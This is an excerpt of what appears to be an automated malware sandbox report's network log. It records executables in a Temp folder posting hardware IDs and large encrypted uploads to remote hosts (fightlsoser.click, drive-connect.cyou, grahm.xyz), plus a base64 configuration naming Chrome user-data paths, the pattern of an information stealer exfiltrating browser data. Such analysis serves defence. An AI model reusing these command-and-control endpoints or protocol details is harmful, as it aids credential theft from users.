2024-12-13 00:51:51 UTC	15331	OUT	Data Raw: 2d 2d 4a 35 4d 35 54 57 37 4d 42 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 34 31 45 31 39 46 42 42 42 32 43 46 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4a 35 4d 35 54 57 37 4d 42 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4a 35 4d 35 54 57 37 4d 42 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 4d 42 73 54 77 2d 2d 49 6e 73 74 61 6c 6c 73 0d 0a 2d 2d 4a 35 4d 35 54 57 37 4d 42 48 0d 0a 43 6f 6e 74 65 Data Ascii: --J5M5TW7MBHContent-Disposition: form-data; name="hwid"4541E19FBBB2CF6723D904AF30EFEBBC--J5M5TW7MBHContent-Disposition: form-data; name="pid"3--J5M5TW7MBHContent-Disposition: form-data; name="lid"cMBsTw--Installs--J5M5TW7MBHConte
2024-12-13 00:51:51 UTC	5061	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 eb b1 64 Data Ascii: lrQMn 64F6(X&7~`aO@d
2024-12-13 00:51:53 UTC	1028	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4fvtb2aktrff8dvs1lofp7phda; expires=Mon, 07-Apr-2025 18:38:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e%2BSebZ8RuHy%2FM8c30W%2BHA6HhB2rt%2FpgpvTTK9anGU5NZDGO5oBHaJ2LYnT0mK0YUXFkwfXEUMyo9NL46kJZXajOrlkPZwcQwfOs%2FWEKA9YXQNv308R0TD%2B1c3SPHttkTYwTIEg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f11f7d96e368c65-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2131&min_rtt=2039&rtt_var=831&sent=15&recv=24&lost=0&retrans=0&sent_bytes=2841&recv_bytes=21347&delivery_rate=1432074&cwnd=204&unsent_bytes=0&cid=60056ad932fe710e&ts=1292&x=0"
2024-12-13 00:51:53 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-13 00:51:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49879	116.203.10.31	443	5236	C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:53 UTC	229	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Connection: Keep-Alive Cache-Control: no-cache
2024-12-13 00:51:53 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 13 Dec 2024 00:51:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-13 00:51:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49887	172.67.213.48	443	7216	C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:54 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=OLYRJJHBQ3PYS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1267 Host: fightlsoser.click
2024-12-13 00:51:54 UTC	1267	OUT	Data Raw: 2d 2d 4f 4c 59 52 4a 4a 48 42 51 33 50 59 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 34 31 45 31 39 46 42 42 42 32 43 46 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4f 4c 59 52 4a 4a 48 42 51 33 50 59 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4f 4c 59 52 4a 4a 48 42 51 33 50 59 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 4d 42 73 54 77 2d 2d 49 6e 73 74 61 6c 6c 73 0d 0a 2d 2d 4f 4c 59 52 4a 4a 48 42 Data Ascii: --OLYRJJHBQ3PYSContent-Disposition: form-data; name="hwid"4541E19FBBB2CF6723D904AF30EFEBBC--OLYRJJHBQ3PYSContent-Disposition: form-data; name="pid"1--OLYRJJHBQ3PYSContent-Disposition: form-data; name="lid"cMBsTw--Installs--OLYRJJHB
2024-12-13 00:51:55 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f80c587iie5jjkr9qfq54licki; expires=Mon, 07-Apr-2025 18:38:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MsvTmASH%2BxQ8PmizeoHSfydGD4U%2BQD0ZaEwSWKhI271QA1Jjy2q%2Bj1geFDjQ0Qa83PMc3ngfVJM8QiIjXp9tGZhXfTa5ZnqsTk2hIJBx1qG3Qyh9WAUTfzsf2%2BuLGXuR32v99Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f11f7eccd3e443e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2213&min_rtt=2197&rtt_var=856&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2180&delivery_rate=1255374&cwnd=194&unsent_bytes=0&cid=2890bb9e5287df09&ts=738&x=0"
2024-12-13 00:51:55 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-13 00:51:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49888	104.21.79.7	443	5700	C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:54 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=N8I5VMU38 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18108 Host: drive-connect.cyou
2024-12-13 00:51:54 UTC	15331	OUT	Data Raw: 2d 2d 4e 38 49 35 56 4d 55 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 34 31 45 31 39 46 42 42 42 32 43 46 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 4e 38 49 35 56 4d 55 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 38 49 35 56 4d 55 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 4e 38 49 35 56 4d 55 33 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f Data Ascii: --N8I5VMU38Content-Disposition: form-data; name="hwid"4541E19FBBB2CF6723D904AF30EFEBBC--N8I5VMU38Content-Disposition: form-data; name="pid"2--N8I5VMU38Content-Disposition: form-data; name="lid"FATE99--test--N8I5VMU38Content-Dispo
2024-12-13 00:51:54 UTC	2777	OUT	Data Raw: 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f 43 d4 61 11 d5 14 88 8d cc 54 77 94 6d 93 be 93 15 d7 52 9c ab a6 b6 5f c9 35 8b 56 2d 7b Data Ascii: \f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wECaTwmR_5V-{
2024-12-13 00:51:55 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:51:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=enqp844kk887dhps3mpsc0ch6n; expires=Mon, 07-Apr-2025 18:38:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PjktH6%2FFuCVNLMopo%2Fr6o9lqymeaGTD8FDC7SmO%2BgN0liNo90e9J7CHTeLSiQyX9clQZPJcZvTYeGRQRQpwkXSptvBYa%2FAEJ34cPzIjeDlhEaDl8agQPJxQ5Y4hah28EDbipVoQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f11f7ed191f4257-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1796&min_rtt=1786&rtt_var=677&sent=12&recv=22&lost=0&retrans=0&sent_bytes=2846&recv_bytes=19063&delivery_rate=1634938&cwnd=215&unsent_bytes=0&cid=9a76fbe3ad5b722b&ts=1040&x=0"
2024-12-13 00:51:55 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-13 00:51:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49890	116.203.10.31	443	5236	C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:55 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----US0HDTJW4EU3E37900ZU User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 255 Connection: Keep-Alive Cache-Control: no-cache
2024-12-13 00:51:55 UTC	255	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 55 53 30 48 44 54 4a 57 34 45 55 33 45 33 37 39 30 30 5a 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 35 32 38 41 46 45 33 41 32 37 30 33 33 30 30 34 35 32 34 30 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 55 53 30 48 44 54 4a 57 34 45 55 33 45 33 37 39 30 30 5a 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 34 31 31 63 66 36 32 62 63 62 61 30 34 64 37 34 66 63 36 62 35 30 35 62 39 32 33 35 34 30 34 0d 0a 2d 2d 2d 2d 2d 2d 55 53 30 48 44 54 4a 57 34 45 55 33 45 33 37 39 30 30 5a 55 2d 2d 0d 0a Data Ascii: ------US0HDTJW4EU3E37900ZUContent-Disposition: form-data; name="hwid"5528AFE3A270330045240-a33c7340-61ca------US0HDTJW4EU3E37900ZUContent-Disposition: form-data; name="build_id"e411cf62bcba04d74fc6b505b9235404------US0HDTJW4EU3E37900ZU--
2024-12-13 00:51:56 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 13 Dec 2024 00:51:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-13 00:51:56 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 31 7c 66 62 63 36 30 36 32 38 33 63 39 61 63 66 33 35 30 64 64 62 35 65 31 32 63 63 62 33 34 63 30 63 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 31 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|1\|fbc606283c9acf350ddb5e12ccb34c0c\|1\|1\|1\|0\|0\|50000\|10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49896	104.21.79.7	443	5700	C:\Users\user\AppData\Local\Temp\1014586001\8b334ae3d2.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:57 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=B6P4ADPDZYO0G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8753 Host: drive-connect.cyou
2024-12-13 00:51:57 UTC	8753	OUT	Data Raw: 2d 2d 42 36 50 34 41 44 50 44 5a 59 4f 30 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 34 31 45 31 39 46 42 42 42 32 43 46 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 42 36 50 34 41 44 50 44 5a 59 4f 30 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 36 50 34 41 44 50 44 5a 59 4f 30 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 42 36 50 34 41 44 50 44 5a 59 4f 30 Data Ascii: --B6P4ADPDZYO0GContent-Disposition: form-data; name="hwid"4541E19FBBB2CF6723D904AF30EFEBBC--B6P4ADPDZYO0GContent-Disposition: form-data; name="pid"2--B6P4ADPDZYO0GContent-Disposition: form-data; name="lid"FATE99--test--B6P4ADPDZYO0
2024-12-13 00:52:00 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 13 Dec 2024 00:52:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3vaoj2k0jh8ujj8qd7onk9d07f; expires=Mon, 07-Apr-2025 18:38:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q5vMj%2FnEtFefvlMRCViS9IENNVZu6HvB9jxzCATD8TS1S7dgCHYBdiu4l%2Bw7dZiJ8C8XsnraPfZG7hSM2RkuhktVInx0RJRhASdRfAi2Jp6UKrjpXDY2eGgMmxj1a6BBQDCsBlw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f11f7fc0e70428e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1772&min_rtt=1766&rtt_var=675&sent=7&recv=13&lost=0&retrans=0&sent_bytes=2847&recv_bytes=9689&delivery_rate=1607044&cwnd=222&unsent_bytes=0&cid=32a7a1b145f429ac&ts=3200&x=0"
2024-12-13 00:52:00 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-13 00:52:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49897	116.203.10.31	443	5236	C:\Users\user\AppData\Local\Temp\1014587001\d6cdb1061b.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:57 UTC	321	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----UAI5X4W47GV3EUS0HDTJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/116.0.0.0 Host: grahm.xyz Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-12-13 00:51:57 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 55 41 49 35 58 34 57 34 37 47 56 33 45 55 53 30 48 44 54 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 63 36 30 36 32 38 33 63 39 61 63 66 33 35 30 64 64 62 35 65 31 32 63 63 62 33 34 63 30 63 0d 0a 2d 2d 2d 2d 2d 2d 55 41 49 35 58 34 57 34 37 47 56 33 45 55 53 30 48 44 54 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 34 31 31 63 66 36 32 62 63 62 61 30 34 64 37 34 66 63 36 62 35 30 35 62 39 32 33 35 34 30 34 0d 0a 2d 2d 2d 2d 2d 2d 55 41 49 35 58 34 57 34 37 47 56 33 45 55 53 30 48 44 54 4a 0d 0a 43 6f 6e 74 Data Ascii: ------UAI5X4W47GV3EUS0HDTJContent-Disposition: form-data; name="token"fbc606283c9acf350ddb5e12ccb34c0c------UAI5X4W47GV3EUS0HDTJContent-Disposition: form-data; name="build_id"e411cf62bcba04d74fc6b505b9235404------UAI5X4W47GV3EUS0HDTJCont
2024-12-13 00:51:58 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 13 Dec 2024 00:51:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-13 00:51:58 UTC	2192	IN	Data Raw: 38 38 34 0d 0a 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 45 4d 36 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 77 6c 54 45 39 44 51 55 78 42 55 46 42 45 51 56 52 42 4a 56 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 Data Ascii: 884R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfEM6XFByb2dyYW0gRmlsZXNcR29vZ2xlXENocm9tZVxBcHBsaWNhdGlvblx8Y2hyb21lLmV4ZXxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXwlTE9DQUxBUFBEQVRBJVxHb29nbGVcQ2hyb21lIF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49898	172.67.213.48	443	7216	C:\Users\user\AppData\Local\Temp\1014583001\1747150d4f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-13 00:51:57 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=C7YV89SYB0VBH7PXG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 586559 Host: fightlsoser.click
2024-12-13 00:51:57 UTC	15331	OUT	Data Raw: 2d 2d 43 37 59 56 38 39 53 59 42 30 56 42 48 37 50 58 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 35 34 31 45 31 39 46 42 42 42 32 43 46 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 43 37 59 56 38 39 53 59 42 30 56 42 48 37 50 58 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 37 59 56 38 39 53 59 42 30 56 42 48 37 50 58 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 63 4d 42 73 54 77 2d 2d 49 6e 73 74 61 6c 6c 73 Data Ascii: --C7YV89SYB0VBH7PXGContent-Disposition: form-data; name="hwid"4541E19FBBB2CF6723D904AF30EFEBBC--C7YV89SYB0VBH7PXGContent-Disposition: form-data; name="pid"1--C7YV89SYB0VBH7PXGContent-Disposition: form-data; name="lid"cMBsTw--Installs
2024-12-13 00:51:57 UTC	15331	OUT	Data Raw: 35 e2 68 8d cb 40 b2 9b 7e 4b 55 57 8d 19 3e 1d 45 b1 ed 7c be 68 87 a2 4c a3 ba 62 d5 e8 f6 8a 3d f1 3a 02 ce 79 47 0d 4f 16 c4 76 7c 65 8d ca bb 3d 57 d5 89 f4 83 bd bd 50 0d 1b 66 99 78 8d 9f ef 92 92 34 79 2b 39 73 86 11 c7 a2 ef 4e ed 52 d1 81 b0 33 ab 57 35 a1 8a 66 9f 78 c8 0d 23 3d 47 cf 43 ba 54 76 5d 97 04 20 d8 eb f3 b0 01 cd 69 27 fb ef 84 75 19 1e 56 45 72 16 6a d3 56 d9 d4 09 b5 36 88 93 86 44 b4 a1 03 55 4f fe 20 32 c4 63 9c dd 83 fe 0b 62 28 29 82 13 82 eb 7d 87 70 d5 af 21 fa f5 57 a0 13 ae 03 bc 1b f4 f9 6d 0d 86 d1 34 0f c4 69 74 6c 5e 06 f4 44 56 af a1 1f e4 6f 89 fa f6 67 c9 ed ff 76 39 f5 f2 03 f9 59 4d 50 05 01 67 62 d2 b4 01 28 77 41 d3 31 ea 89 05 1d 14 e3 01 e5 f5 e9 8e 81 28 40 fb 2c 42 6a 55 a2 f2 8c 2d c4 0f 21 f9 95 20 4e 1b Data Ascii: 5h@~KUW>E\|hLb=:yGOv\|e=WPfx4y+9sNR3W5fx#=GCTv] i'uVErjV6DUO 2cb()}p!Wm4itl^DVogv9YMPgb(wA1(@,BjU-! N
2024-12-13 00:51:57 UTC	15331	OUT	Data Raw: ab 0e 32 18 cc cb ef ec d2 5f ca 38 21 8f e7 e6 2a bb e4 c9 0c 16 2d a3 6a 51 fc 5b 5f 6f 5e 83 71 ff 37 5b 49 56 49 b4 a2 a4 e4 54 95 7b b8 39 24 ed 82 25 ff db 0c 37 96 0c b7 10 d4 47 1c 41 f0 13 1d 91 a4 57 e4 a8 88 8a a3 ea fb d9 96 9d 31 3e 74 83 4f 95 dc dc fd 05 3b 81 f5 dd 36 cc 7d 63 a3 77 3c ff 2d 37 4f a6 9c 64 95 e3 00 c7 36 60 f9 cb e1 aa 67 9e 95 9f b7 36 0f d7 f9 7d 77 1d 9a 76 62 8c 26 40 e4 cc e1 e3 c9 f6 73 ed 7a 6c f9 80 01 ef 96 8a 5f 11 52 06 e7 ad 7f d7 77 f5 ef cd ac 42 94 ab 55 2d c9 28 01 05 62 0d 5c 3b 9e 1c 98 ab 13 e4 1a d0 4c cb e7 20 fa d3 f6 0d 5d c0 70 c5 76 f6 78 f4 5a e1 00 ad 12 87 a4 0e e7 45 40 9e 21 48 9a fa df a9 